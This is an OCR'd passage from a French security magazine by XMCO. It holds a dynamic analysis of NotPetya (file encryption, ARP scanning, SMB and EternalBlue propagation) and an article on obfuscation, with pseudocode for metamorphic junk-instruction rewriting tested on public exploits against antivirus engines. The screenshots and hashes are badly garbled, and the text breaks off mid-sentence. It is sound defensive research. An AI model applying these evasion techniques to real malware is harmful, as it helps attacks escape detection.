SUCCESS SyncType: SyncTy...
SUCCESS (Offset: 0, Length: 7...
SUCCESS Offset: 0, Length: 7...
SUCCESS
T me G
Traitement inhabituel de =69
certains fichiers avec mel-
acces en lecture et en 7152
Anri yncTy..
ecrlture QUL oo AL JDD'D‘L LEI"I
SUCCESS Offget: 0, Length: 3.
SUCCESS Offset: 32 768, Len ..
SUCCESS (Offset: 0, Length: &...
SUCCESS
SUCCESS Desired Access: G...
SUCCESS AllocationSize: 61 ..
FILE LOCKED WI... SyncType: SyncTy...
SUCCESS AllocationSize: &1 ...
SUCCESS : Hy
slecess Dossier traité, _
SUCCESS passage au prochain
SUCCESS dossier
SUCCESS
OCCES
SUCCESS Desired Access: R...
SUCCESS Fifter =, 1:

Parcours du systeme de fichier avec traitement inhabituel de certains fichiers

Ces observations confirment ce que nous avons trouvé lors de I'analyse statique :
+ Le malware parcourt de maniére récursive le systéme de fichiers ;

- |l chiffre des fichiers (accés en écriture) ;

- Seulement certains fichiers sont réécrits/chiffrés (extensions des fichiers accédés en écriture cohérente avec

la liste d'extensions trouvée auparavant).

Les fichiers ayant une extension dans la liste trouvée sont bien altérés alors que ni leur nom ni leur extension n'est

modifié. Cela est un comportement inhabituel pour un ransomware.

Apport de I'étude des interactions réseau

Afin de pouvoir étudier les requétes effectuées par le malware sur le réseau, nous utilisons les outils Wireshark

(analyseur de paquets réseau) et ProcessHacker.

Le malware teste toutes les IP de la plage réseau

Lors de I'analyse du programme avec ProcessHacker, on remarque un grand nombre de tentatives de connexion

réseau initiées par l'exécutable :

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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Name Local address Local ... Remote address Remo... Proto.. State Owner

I¥ apateDNS.e.. WIN-RATIMT4UV... 53 UDP

i Isass.exe (49... WIN-RA1IMT4UV... 49157 TCP Listen

1 Isass.exe (49... WIN-RALIMT4UV... 49157 TCP6  Listen
| Petyadexes. WIN-RALIMTAUV.. 49458 14130168192in-addrarpa 139 TCP  SYNsent
# ' Petyad.exe s.. WIN-RAL1IMTAUV... 49459 192.168.39.142 445 TCP SYN sent

7 services.exe ... WIN-RATIMTAUV... 49155 TCP Listen

i services.exe ... WIN-RAT1IMTAUV... 49155 TCP6& Listen

B svchostexe.. WIN-RALIMT4UV... 49156 TCP Listen PolicyAgent
B svchostexe .. WIN-RAT1IMT4UV... 49156 TCP6  Listen PolicyAgent
7 svchost.exe .. WIN-RATIMTAUV... 135 TCP Listen RpcSs

" svchostexe ... WIN-RATIMTAUV... 135 TCP6 Listen RpcSs

' svchostexe .. WIN-RATIMTAUV... 49153 TCP Listen eventlog
B svchostexe.. WIN-RALIMT4UV... 49153 TCP6  Listen eventlog
" svchostexe ... WIN-RATIMTAUV... 68 UDP Dhcp

7 svchost.exe .. WIN-RATIMTAUV... 49154 TCP Listen Schedule
" svchostexe ... WIN-RATIMTAUV... 49154 TCP6  Listen Schedule
B svchostexe .. WIN-RALIMTAUV... 500 UDP IKEEXT

B svchostexe.. WIN-RALIMT4UV... 4500 UDP IKEEXT

B svchostexe ... WIN-RALIMTAUV... 500 UDP6 IKEEXT

B svchostexe ... WIN-RALIMTAUV... 4500 UDP6 IKEEXT

CH System (4) WIN-RATIMT4UV... 139 TCP Listen

B System (4) WIN-RATIMT4UV... 445 TCP Listen

B! System (4) WIN-RALIMT4UV... 445 TCP6  Listen

i System (4) WIN-RATIMT4UV... 137 UDP

B ' System (4) WIN-RA1IMT4UV... 138 UDP

B wininit.exe (.. WIN-RATIMTAUV... 49152 TCP Listen

B wininit.exe (.. WIN-RALIMTAUV... 49152 TCP6  Listen

Ces connexions semblent s'étendre sur tous les hotes d’'une plage. Nous allons tenter de confirmer cette théorie
via une analyse du trafic. Pour ce faire, une capture réseau a été effectuée via I'utilitaire Wireshark.

Nous avons pu récupérer le fichier, et nous remarquons ici également un grand nombre de requétes ARP.

ARP : Address Resolution Protocol - Protocole permettant d'associer une adresse IP (logique) a une adresse
MAC (physique). Cette adresse MAC est nécessaire pour pouvoir communiquer.

Ces requétes sont souvent effectuées en premier lorsqu’un systeme tente de se connecter a une adresse encore

Inconnue.
41 1.974652 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.0? Tell 172.16.76.131
130 8.042791 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.2? Tell 172.16.76.131
131 8.962880 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.2? Tell 172.16.76.131
134 9.976919 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.2? Tell 172.16.76.131
137 12.068343 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.3? Tell 172.16.76.131
138 12.971676 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.3? Tell 172.16.76.131
139 13.969806 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.3? Tell 172.16.76.131
140 16.091663 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.4? Tell 172.16.76.131
141 16.964055 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.4? Tell 172.16.76.131
143 17.962976 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.4? Tell 172.16.76.131
158 20.107094 VMware_4a:75:57 Broadcast ARP 42 Who has 172.16.76.5? Tell 172.16.76.131

Broadcast

161 21.963209

VMware_4a:75:57

Broadcast ARP

Who

has

172.

16.76.57 Tell

172.16.76.131

Ici nous retrouvons a nouveau un grand nombre de requétes ARP effectuées sur les sous-réseaux suivants :
« 172.16.76.0/24 (de 172.16.76.1 a 172.16.76.255) ;
+  169.254.0.0/24 (de 169.254.0.1 a 169.254.0.255).

Nous nous demandons pourquoi le malware effectue ces requétes. En régle générale, ce genre de comportement
est typique d'un scan réseau utilisé pour tenter de pivoter sur le systéme d'information et se propager a un plus
grand nombre de postes.
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Le malware fait des requétes SMB

Nous remarquons l'envoi depuis la machine infectée de requétes SMB (protocole de partage de ressources) sur
le réseau.

196 Session Setup AndX Request, NTLMSSP_NEGOTIATE

172.16.76.131 172.16.76.133 SMB

172.16.76.133 172.16.76.131 SMB 528 Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
172.16.76.131 172.16.76.133 SHE 294 Session Setup AndX Request, NTLMSSP_AUTH,
172.16.76.133 172.16.76.131 SMB 278 Session Setup AndX Response

172.16.76.131 172.16.76.133 SMB 154 Tree Connect AndX Request, Path: m
172.16.76.133 172.16.76.131 SMB 114 Tree Connect AndX Response

172.16.76.131 172.16.76.133 LANMAN 176 NetServerEnum2 Request, Domain Enum

172.16.76.133 172.16.76.131 LANMAN 164 NetServerEnum2 Response

172.16.76.131 172.16.76.133 LANMAN 186 NetServerEnum2 Request, Workstation, Server
172.16.76.133 172.16.76.131 LANMAN 176 NetServerEnum2 Response

172.16.76.131 172.16.76.133 SMB 93 Tree Disconnect Request

Extrait de Wireshark montrant une tentative de connexion SMB entre le poste compromis (172.16.76.131) et un autre
poste accessible sur le réseau local (172.16.76.133).

Le malware tente donc de se connecter via SMB a WIN-VOQTG734GPK (machine victime potentielle placée sur le
réseau intentionnellement) avec une session nulle (\), pour une exécution de commande (IPCS), probablement
pour lister les partages accessibles ou les utilisateurs autorisés.

Il est probable que les tentatives de connexion SMB aient lieu aprés le vol de données d'identification.

Cependant, la récente utilisation de I'exploit EternalBlue dans Wannacry et I'ampleur de la propagation nous
obligent a vérifier son utilisation. Nous avons une machine vulnérable a EternalBlue sur le réseau.

EternalBlue : vulnérabilité dans la version 1 de SMB (voir Références)

Requéte
malformée initiant

EternalBlue Secondary Request,

Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Secondary Request,
Seconda Request,

payload

Extrait des requétes du coté de la machine hdte du malware typique d'une tentative d'infection par EternalBlue
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EternalBlue enclenchée

Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED|
Response, SESSION _SETUP, : STATUS_NOT_IMPLEMENTED|
Response, SESSION SETUP, : STATUS_NOT_IMPLEMENTED|
Response, SESSION SETUP, : STATUS_NOT_IMPLEMENTED|

a " - Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED|
Réception (SUCCGS) du Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED
payload Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED|

Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED)|
Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED)|
Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED)|
Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED)|
Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED)|
Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED)|
Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED)|
Response, SESSION_SETUP, : STATUS_NOT_IMPLEMENTED)

Extrait des requétes du coté de la machine victime typigue d'une compromission par EternalBlue

L'analyse des requétes SMB échangées entre la machine infectée par le malware et la machine vulnérable a Eter-
nalBlue permet des signatures spécifiques a EternalBlue.

De plus, nous observons que la machine ciblée par les requétes EternalBlue présente, aprés les échanges SMB
identifiés, des signes de compromissions propres au malware en cours d’analyse.

Ver : programme malveillant capable d'assurer sa propre propagation a travers le réseau sans interaction utili-
sateur aprés son exécution.

Il apparait donc que ce malware est un ver capable de se propager par l'utilisation d’EternalBlue.

Si I'analyse dynamique nous a permis d'obtenir quelques certitudes sur le fonctionnement de ce malware ainsi
que des idées sur son fonctionnement, tout le comportement n'est pas élucidé. Il devient nécessaire de croiser les
informations obtenues par analyse statique et celles obtenues par analyse dynamique afin d'aller plus loin dans
notre compréhension de ce sample. Cette partie sera traitée dans un prochain article.

Références

Références des outils utilisés

« IDA: https://www.hex-rays.com/products/IDA/

+  OllyDbg : http ://www.ollydbg.de/

+  ProcessMonitor : https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
«  Wireshark: https://www.wireshark.org/

«  HxD: https://mh-nexus.de/en/hxd/

«  ProcessHacker : https://github.com/processhacker/processhacker

Références documentation Microsoft
- Documentation officielle de I'API Windows : https://docs.microsoft.com/en-us/windows/win32/api/
« |OCTL: http ://www.ioctls.net/

Références générales

«  EternalBlue : https://www.fireeye.com/blog/threat-research/2017/05/smb-exploited-wannacry-use-of-eternal-
blue.html

«  MBR et tables de partition : https://thestarman.pcministry.com/asm/mbr/PartTables.htm
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Pour en savoir plus sur NotPetya

https://www.crowdstrike.com/blog/petrwrap-ransomware-technical-analysis-triple-threat-file-encryption-
mft-encryption-credential-theft/

https://cybaze.it/download/zlab/NotPetya-report.pdf

Livres de référence

Practical Malware Analysis - The Hands-On Guide to Dissecting Malicious Software, Michael Sikorski et An-
drew Honig

Practical Reverse Engineering : x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation, Bruce Dang,
Alexandre Gazet et Elias Bachaalany
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Introduction

L'obfuscation est une stratégie visant a rendre un contenu d'un programme difficile a lire et a comprendre [1]. En
informatique, cette stratégie est utilisée dans plusieurs contextes :

»  Protéger une propriété intellectuelle ;

«  Complexifier I'analyse par rétro-ingénierie ;

«  Rendre le programme plus difficile a détecter par un antivirus.

L'obfuscation peut étre utilisée a des fins légitimes, par exemple pour protéger le code source d'une application
ou bien empécher la diffusion de copies pirates. Cette stratégie ne s'applique pas qu'aux malwares. Il est impor-
tant de noter que bien que l'obfuscation complexifie la lecture de données et la rétro-ingénierie, il ne les rend pas
impossibles. Il existe de nombreuses méthodes d'obfuscation, chacune ayant ses avantages et ses inconvénients.

Le métamorphisme est une méthode d'obfuscation permettant a un programme de changer de signature a cha-
cune de ses exécutions. La signature du programme est un condensat de ce dernier, ainsi, si un bit de ce pro-

36 gramme change, alors sa signature sera différente. Les antivirus peuvent comparer la signature d’un programme
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avec une base de données contenant la signature de virus. Ainsi, changer de signature permet de contourner la
sécurité des antivirus qui se basent sur la signature du programme.

Au cours de cet article, nous commencerons par exposer les différentes techniques d'obfuscation pouvant étre
mises en place. En second lieu, nous nous intéresserons a la structure d'un fichier binaire Mach-O, un fichier
exécutable macOS. Ensuite, nous illustrerons le fonctionnement du métamorphisme a l'aide d’'un programme
simple. Et enfin, nous appliquerons cette technique d'obfuscation sur un binaire exploitant une vulnérabilité afin
de tester l'efficacité de cette derniére sur 62 antivirus.

Méthodes d’obfuscation

Il existe de nombreuses méthodes d'obfuscation qui peuvent étre mises en place. Dans cette partie, nous allons
en illustrer 5, en présentant les avantages de chacune des méthodes.

Il est possible de rendre la lecture de données plus complexe au sein d'un programme en encodant ou en chiffrant
les données du programme. Un exemple simple est d'encoder toutes les chaines de caractére du programme en
base64 et de ne les décoder que lors de leurs utilisations.

Bien que ce processus tres facile a implémenter complexifie la lecture des chaines de caractere, il est compromis
des lors qu'un attaquant cherchant a lire les données trouve I'algorithme d’encodage utilisé. De maniere ana-
logue, chiffrer toutes les données avec une clef n'est efficace que jusqu’a ce que I'attaquant retrouve cette clef.

Les études de programmes sont trés souvent faites au sein d’environnements adéquats tels que des machines
virtuelles et des débogueurs pour analyser des malwares ou bien des logiciels dans les meilleures conditions. [2]
Ces environnements permettent d'effectuer de nombreux tests sur les malwares et logiciels, notamment pour
étudier leurs comportements et aussi obtenir des secrets au sein du programme. Ces secrets peuvent étre par
exemple I'adresse d’'un serveur distant a partir duquel le programme recoit ou envoie des données, ou bien les
fichiers du systeme sur lequel il lit ou écrit.

Les malwares intégrent tres souvent des méthodes pour détecter I'environnement dans lequel ils sont lancés. Par
exemple, en recherchant des caractéristiques typiques des machines virtuelles, telles que la présence du port VM
sous VmWare ou bien le processus VBoxService.exe sous VirtualBox. Si le malware détecte qu'il est exécuté dans
une machine virtuelle, il arréte alors son exécution afin que son comportement ne soit pas analysé.

Pour détecter un environnement de débogue, il existe plusieurs méthodes. Il est possible pour un programme
d’analyser le temps d'exécution. En effet, les débogueurs ajoutent de nombreuses instructions qui prennent du
temps a étre exécutées créant des irrégularités dans le flux d'exécution. Les programmes peuvent mesurer I'heure
du systeme plusieurs fois au cours de I'exécution pour rechercher ces irrégularités. Si des irrégularités sont détec-
tées, alors le programme est exécuté dans un environnement de débogue. Il peut donc cesser son exécution afin
de ne pas étre analysé.

De plus, de maniére analogue aux machines virtuelles, le programme peut détecter des processus de débo-
gueurs connus pour savoir s'il est exécuté a l'aide d’un tel outil.

Enfin, le programme peut rechercher des points d'arrét logiciel et matériel qui sont ajoutés par I'attaquant pour
analyser le programme et ainsi récupérer des secrets. Si un point d'arrét est détecté dans le programme, alors
ce dernier peut soulever une erreur. C'est d'ailleurs asser désagréable en challenge de rétro-ingénierie puisque
lorsque le challenger met un point d'arrét pour récupérer une donnée traitée par le programme a un instant pré-
cis du programme, ce dernier s'arréte brutalement, forcant le challenger a trouver une autre solution.
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Un packer est un outil permettant de compresser et/ou de chiffrer un binaire. Le résultat obtenu est un binaire
chiffré et compressé avec un entéte nommé loader qui peut déchiffrer et décompresser le binaire. [3]

Début
» .
e, Début
- -
e . Loader
Binaire Packing )
»> Binaire chiffré

et/ou compresse

Fonctionnement d'un packer

Lentéte du binaire original qui correspond au point d'entrée du programme est donc obfusqué puisqu’il
se trouve maintenant au milieu du binaire, ce qui complexifie grandement la tache d'un attaquant
puisque l'entéte contient les adresses des principales fonctions et des bibliotheques qui vont étre utilisées.

Pour pouvoir récupérer la charge utile d'un binaire packé, il faut dans un premier temps analyser la partie du pro-
gramme responsable de la décompression, qui se trouve au sein du loader. Une fois le mécanisme de chiffrement
et déchiffrement examiné, il est possible de déchiffrer la charge utile. On peut aussi la récupérer en exécutant le
programme dans un environnement dédié et en lisant la mémoire une fois le programme déchiffré par le loader.

L'utilisation des packers dépend donc des motivations du développeur. En effet, ils peuvent servir a réduire la
taille de I'exécutable dans le cas ou le programme serait trop volumineux et aurait pour objectif de fonctionner
sur des systémes avec une taille limitée (comme des systémes embarqués). lls peuvent également servir a chiffrer
le programme pour obfusquer les secrets qui peuvent s'y trouver tels que, dans le cas d'un malware, son fonction-
nement ou bien une adresse vers laquelle les données sont envoyées.

Les programmes métamorphiques sont des programmes qui modifient leurs binaires a chaque exécution pour
en créer un nouveau. Le nouveau binaire, bien que différent, aura exactement le méme comportement que le
précédent, mais sa signature sera donc différente. Ainsi, la détection de programmes métamorphiques ne peut
pas reposer sur la signature de ces derniers. [4]

( XM CO“] Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



JAmetamorphic
Hello world !

Smetamorphic_child_292582558

Hello world !

JSmetamorphic_child_1221475876
Hello world !

= shasum metamorohic* at
Th8l44d37 74689837 1816b52debad@leecedcd9ab| metamorphic
beed6c767394f 3bbaeedZad7@4lalad 7TbIGDEFI4 | metamorphic_child_1221475876
1c589425a72689b 1 26b910643e6bdad 72b597705 )| metamorphic_child_292582558

. ] at

Exemple de programme métamorphisme

Le fonctionnement détaillé des programmes métamorphiques sera illustré a travers un exemple dans la qua-
trieme partie de cet article.

Un programme polymorphique est un programme qui modifie sa charge utile a chaque exécution. Il est donc
composé d'une partie constante, appelée communément loader, qui va modifier le programme, et du programme
en lui-méme. Etant donné que la signature d'un programme est un condensat de son binaire, alors modifier le
programme d’'une maniére différente a chaque exécution modifiera ainsi sa signature. [5]

La modification la plus couramment utilisée est le chiffrement. Lors de I'exécution, le loader va déchiffrer la charge
utile, I'exécuter, puis le chiffrer a nouveau avec une clef différente.

L'objectif est donc que le programme ne soit pas détecté par les antivirus puisque ces derniers basent une partie
de leurs analyses sur la signature du programme. Des antivirus plus développés peuvent néanmoins détecter ces
programmes en se basant sur le loader qui reste constant.

Les programmes polymorphiques sont facilement analysables dans un environnement adapté et sécurisé tel
gu’une machine virtuelle simplement en les exécutant et en analysant leurs comportements. De plus, il est pos-
sible d'analyser leurs charges utiles pendant I'exécution lorsque ces derniers se trouvent en mémoire.

Ces programmes s'opposent aux programmes métamorphiques puisqu'ils possédent une partie constante qui

modifie la charge utile, alors que les programmes métamorphiques se modifient intégralement. Ce qui les rend
donc plus faciles a écrire, mais également plus facilement détectables.
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Shikata-Ga-Nai est un des moteurs de polymorphisme les plus connus, il est utilisé au sein du framework Metas-
ploit afin d'obfusquer la charge d'un code d'exploitation donné. Il applique également des méthodes de mé-
tamorphisme avant d'appliquer des méthodes de polymorphisme afin de complexifier la tache des différents
antivirus. [6]

] kali@kali: ~[Deocumentsfmetamorphic/shikata

File Actions Edit View Help

|- [~/Documents/metamorphic/shikata’
chikata

abddc
1f4d2a49b
311dc851f8f

|- [~/Documents/metamorphic/shikata]

Fonctionnement de Shikata-ga-nai (la signature est différente a chaque génération)

Ce moteur est mis a jour réguliérement pour améliorer l'obfuscation par des méthodes de polymorphisme et
métamorphisme de plus en plus poussées. Nous étudierons le fonctionnement de ce moteur dans la cinquiéme
partie de cet article.
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Structure d'un binaire

Cette partie décrit la structure d'un binaire, afin de comprendre le fonctionnement du métamorphisme décrit
dans la partie suivante. La structure décrite ici est celle des binaires Mach-O (Mach Object), utilisés sur les envi-
ronnements Mac OS [7]. Elle est relativement similaire a celles des PE (Portable Executable) et ELF (Executable and
Linkable Format) que l'on retrouve respectivement sur les environnements Windows et Unix.

Au début du binaire on trouve I'entéte du fichier. Il permet de l'identifier en tant que fichier Mach-O et donne

des informations basiques sur le fichier, telles que I'architecture ciblée, des options spécifiques nécessaires a son
interprétation, etc.

Juste apres l'entéte se trouvent les commandes de chargements spécifiant les liens entre les différentes données
du fichier. On y retrouve la disposition initiale de la mémoire virtuelle, les adresses des différentes données ainsi
que I'adresse de la premiére instruction a exécuter au début du programme.

Apres les commandes de chargement se trouvent les données. Les données sont séparées en segments conte-
nant des sections. Chaque section contient des données ou du code exécutable. Le nombre exact de sections et
leurs dispositions sont spécifiés dans les commandes de chargement.

L'architecture d’un binaire Mach-O peut étre illustrée avec le schéma suivant :
Entéte

Commandes de chargement

Segment 1
Segment 2
Données
— Section 1
‘E £
E Section 2
{ﬁ" <
Section 3
Section 4
o -
T Section 5
o ail
E b ]
=] .
2 Section & .
Section 7

Schéma 2 : Illustration de l'architecture d'un fichier Mach-O
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Fonctionnement du métamorphisme

La construction d’un programme métamorphique est relativement simple. Cette partie montre a l'aide de pseu-
do-code et d'un exemple le fonctionnement typique d’un programme métamorphique [8]. Nous verrons ensuite
une autre maniere d'implémenter un tel programme.

Dans un premier temps, il faut écrire une macro qui permet d'ajouter du code assembleur au binaire. Lorsque le
code sera compilé, chaque appel de macro sera remplacé par son code correspondant. Dans notre cas, la macro
va ajouter des instructions au programme final.

junk ()
add assembly (PUSH, , , , ’ ' ' )

Cette macro ajoute 3 différentes instructions assembleur au programme. La premiere, PUSH, sauvegarde sur la
pile la valeur d'un registre (emplacement mémoire utilisé actuellement au sein du processeur). La pile est un
segment en mémoire ou le dernier élément ajouté sera le premier élément a étre retiré. La deuxiéme, , ne
fait strictement rien a part passer a l'instruction suivante. La derniére, , récupeére la valeur mise sur la pile. Ces
instructions n‘ont donc en I'état aucun impact sur le programme.

En second lieu, il faut écrire une fonction pour lire un fichier binaire :

read binary file ()
open binary file()
Junk ()
str read binary file ()
junk ()
return str

I~

Cette fonction ouvre simplement un fichier et met son contenu dans la variable st r. On note la présence d'ap-
pels a la macro junk () pour ajouter des instructions assembleur a la fonction. Ces instructions n'ont aucun
impact sur son comportement et seront modifiées plus tard.

Par la suite, il faut écrire une fonction qui écrit le code binaire :

write file (str)
open binary file ()
junk ()
write binary file(str)

Ensuite, il faut écrire une fonction qui modifie le binaire :

metamorphic (str)
junk ()
for each junk in str
junk ()
randomly modify NOP (str)
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return str

Cette fonction recherche toutes les instructions assembleur ajoutées par la macro junk () et modifie les instruc-
tions de maniére aléatoire. Les instructions PUSH et respectivement déchargent et chargent en mé-
moire les registres eax ou rax (respectivement pour les architectures 32 ou 64 bits). Les instructions qui vont étre
ajoutées vont donc ajouter ou soustraire des valeurs aléatoires sur ces registres. Les instructions ajoutées doivent
étre de la méme longueur que les instructions déja présentes pour ne pas invalider le binaire en créant des
décalages et fausser les adresses des données au sein des commandes de chargement du binaire.

Enfin, on peut enfin écrire la fonction principale :

meta ()
str = read file ()
junk ()
str = metamorphic ()
write file(str)
junk ()

Ce pseudo-code montre un exemple de fonctionnement simple d’un programme métamorphique. A chaque
exécution, le binaire ciblé est lu. Ensuite, toutes les instructions sont remplacées par des instructions aléa-
toires qui ne changent pas le comportement du programme. Et enfin, un nouveau binaire est créé. En modifiant
des instructions du programme original de maniére aléatoire, le binaire ainsi résultant sera différent a chaque fois,
et donc sa signature aussi.

modification .
: Ecriture du ;
Début du Lecture du _ des. Sy Fin du
programme programme instructions programme programme

Schéma 3 : Ftapes du métamorphisme

Une erreur commune est de penser que l'on peut modifier la signature d'un programme en ajoutant des instruc-
tions de maniere aléatoire dans le binaire. Cet ajout changera bien sa signature, en revanche cela invalidera
le binaire. En effet, les sections du binaire ainsi modifiées auront une longueur plus grande suite a l'ajout des
instructions , ce qui décalera le reste du binaire et faussera donc les différents pointeurs vers les différentes
sections du binaire.

Un exemple de programme métamorphique écrit en C++ moderne peut étre retrouvé sur le Github XMCO a
I'adresse suivante : https://github.com/xmco/ActuSecu57-Metamorphisme

Dans un premier temps, on compile le programme a l'aide du MakeFile fourni avec ce dernier.

® =zsh

> make
g++ -Wall -g -std=c++17 -c meta.cpp -0 meta.o
g++ meta.o -o metamorphic -Wall -g -std=c++17

makefile

meta.cpp
meta.o
metamorphic
readme . md

Compilation du programme
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et = % *
/ Zan .
,\L}/QN\ X/f::;?z,
Gty 4

On note ainsi la création d'un binaire nommé metamorphic. Lexécution de ce binaire affiche le message Hello
World |, et crée une copie de lui-méme, également exécutable.

LN

metamorphic > ./metamorphic
Hello world !

metamorphic > 1s -1
makefile
meta.cpp
meta.o
metamorohic
metamorphic_child_1261837499
readme . md

metamorphic > I

Premiére exécution du binaire

Ce binaire produit le méme comportement que le binaire d'origine, ce qui crée un autre binaire lui aussi exécu-
table.

o9 -zsh

metamorphic > ./metamorphic_child_1261837499
Hello world !

metamorphic > 1s -1
makefile
meta.cpp
meta.o
metamorphic
metamorphic_child_1261837499
metamorphic_child_1991273838
readme . md

metamorphic > ./metamorphic_child_19@1273838
Hello world !

metamorphic > I

Exécution des binaires générés

Apres avoir généré plusieurs binaires, on peut regarder la signature de chacun d’entre eux afin de s'assurer qu'elles
soient toutes différentes.
44
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makefile

meta.cpp

meta.o

metamorphic
metamorphic_child_1Z2@6385042

metamorphic_child_1261837499

metamorphic_child_1322199848

metamorphic_child_19@1273838

metamorphic_child_277411716

metamorphic_child_451133913
readme . md

> shasum metamorchic*

@7 71422 fel8bb3b@8a3clbed4f5b382abb36 750
c58dcd389255a7e43152b3963d7ef113282b3089
9f2fadd3f8a3ar@cEidobb33800817cfb3bbaed?
74a5d302el8d72a74abd3ebebl4dc@ddlbd2d982
ed@7c7/5cb2B263d1lfacdb5b96dfane493e1995ae
efZabcbbliSad3c7ceZBcabclbdcl9d2dey4 @49
662594 7cdbdc7beedBfe7elcil43acb3Bbla983e

On note que les signatures des binaires sont toutes différentes. Ainsi les multiples binaires générés ont bien le
méme comportement, mais pas la méme signature. Le programme illustre donc le fonctionnement d’'un pro-

gramme métamorphique.

La méthode précédente présente des limites puisquelle ajoute simplement des instructions inutiles au pro-
gramme et ne touche pas aux instructions qui le composent. De ce fait, un antivirus qui analyse le comportement

Signatures des binaires

d'un malware et non sa signature pourra le détecter en tant que tel.

Une autre méthode qui peut étre mise en place est de substituer les instructions du code assembleur par d’autres
qui ont la méme logique [9]. Par exemple en substituant au sein de tout le binaire les additions par une soustrac-

metamorphic
metamorphic_child_1286385842

metamorphic_child_1261837499

metamorphic_child_132219984@

metamorphic_child_19@127383@

metamorphic_child_277411716

metamorphic_child_451133913

tion de la valeur opposée et vice-versa, comme le montre le schéma ci-dessous.

programme programme
original genere
426 Substitution a=6
a=a+3 » a=a-(-3)
a=a-4 a=a+(-4)

Cette substitution ne modifie pas le résultat du programme, en effet, la valeur de la variable a est la méme a la
fin du programme. Ainsi, le binaire créé par cette substitution donnera le méme résultat que le binaire d'origine,

Substitution simple

mais une signature et un comportement différents puisqu'il sera différent.
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Si l'on écrit en C et compile le programme original et le programme généré et ensuite que I'on compare les
binaires résultants a I'aide des commandes bash xxd et diff, on obtient les différences suivantes (surlignées en
jaune):

Original 8b 45 f8 83 89 45 f8 8b 45 f8 83 8945 f8
Généré 8b 45 f8 83 89 45 f8 8b 45 f8 83 8945 f8

Comparaison des binaires

Le tableau précédent nous montre bien qu'il y a une différence entre les deux binaires. Le code hexadécimal 0xc0
correspond a I'addition tandis que 0xe8 correspond a la soustraction. Les valeurs qui suivent correspondent aux
valeurs ajoutées ou soustraites, 0x03 pour 3, 0x04 pour 04, Oxfd pour -3 et Oxfc pour —4. Ainsi, les instructions sont
différentes, ce qui implique que les signatures des binaires le seront également.

Lexemple de substitution donné précédemment est trés simple, mais elle n'est pas suffisante pour obfusquer le
binaire puisqu’une seconde application générera a nouveau le binaire original avec sa signature.

programme programirme programime généré
original généré similaire & l'original
a=6 Substitution a=6 Substitution a=6
a=a+d » a=a-(-3 P a=a+3
a=a-4 a=a+(-d) a=a-4

Double substitution

La difficulté de cette méthode de métamorphisme réside donc dans la recherche de substitutions complexes afin
d'obtenir une signature différente a chaque exécution et de suffisamment modifier son comportement afin que
le malware ne soit pas détecté par les analyses comportementales des antivirus. Pour qu’'une substitution soit
réellement efficace, elle doit modifier des blocs de code entier et non juste les instructions une par une.

( XM CO”] Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Exemples sur des codes d'exploitation

Cette partie présente I'impact du métamorphisme sur des codes d’exploitation. Pour cela, nous avons utilisé I'ap-
plication web VirusTotal [10] qui analyse un fichier donné a I'aide de 62 antivirus et indique lesquels ont détecté
que ce fichier était malveillant. Nous avons utilisé des codes d'exploitation se trouvant sur I'application web Fx-
ploit Database [11], une base de données référencant des codes d'exploitation.

Utiliser des codes d’exploitation est nécessaire, car ces derniers peuvent étre détectés comme malveillants par les
antivirus. Ainsi, il sera donc possible de mesurer l'efficacité de ces derniers.

Dans un premier temps, nous allons étudier I'impact du métamorphisme a l'aide de la méthode illustrée a la par-
tie précédente, puis dans un deuxieme temps a l'aide d'un outil. Ensuite, nous analyserons les résultats et les élé-
ments examinés par les antivirus. Enfin, nous analyserons I'impact du moteur de polymorphisme Shikata-Ga-Nai
sur un simple code d'exploitation de type shellcode.

Pour tester le métamorphisme implémenté a base de l'instruction , hous avons utilisé des codes d'exploita-
tion ciblant des environnements OSX ou Unix écrits en C ou en C++. Ces codes d'exploitation étaient compilés en
binaire et soumis a I'application VirusTotal. Lorsqu’au moins un antivirus détectait le binaire comme étant malveil-
lant, nous avons appliqué le métamorphisme a I'aide du programme précédent et soumis a nouveau le binaire a
VirusTotal. Les résultats obtenus sont référencés dans le tableau ci-dessous.

4759 CVE-2007-3876 0OSX 1 1
40652 CVE-2016-1863 OSX 4 5
41994 CVE-2017-7308 Linux 8 8
44305 CVE-2017-1000405 Linux 2 2
45983 N/A Linux 2 2

Nombre de binaires détectés comme étant malveillant en utilisant le métamorphisme

On note trés clairement que I'application de ce métamorphisme n'a obfusqué en rien les différents codes d'ex-
ploitation vis-a-vis des antivirus. Il a méme été contre-productif pour le code d'exploitation ayant l'identifiant
40652 puisqu’un antivirus en plus a détecté le binaire comme étant malveillant. Lanalyse de ces résultats sera
faite dans la sous-partie 3. Analyse des résultats.

Nous avons ensuite testé le métamorphisme des mémes codes d'exploitation, mais cette fois a I'aide de l'outil
Metame disponible sur le gestionnaire de paquets Python pip [12].

Cet outil prend en entrée un binaire et modifie des instructions afin de produire un nouveau binaire. Le tableau
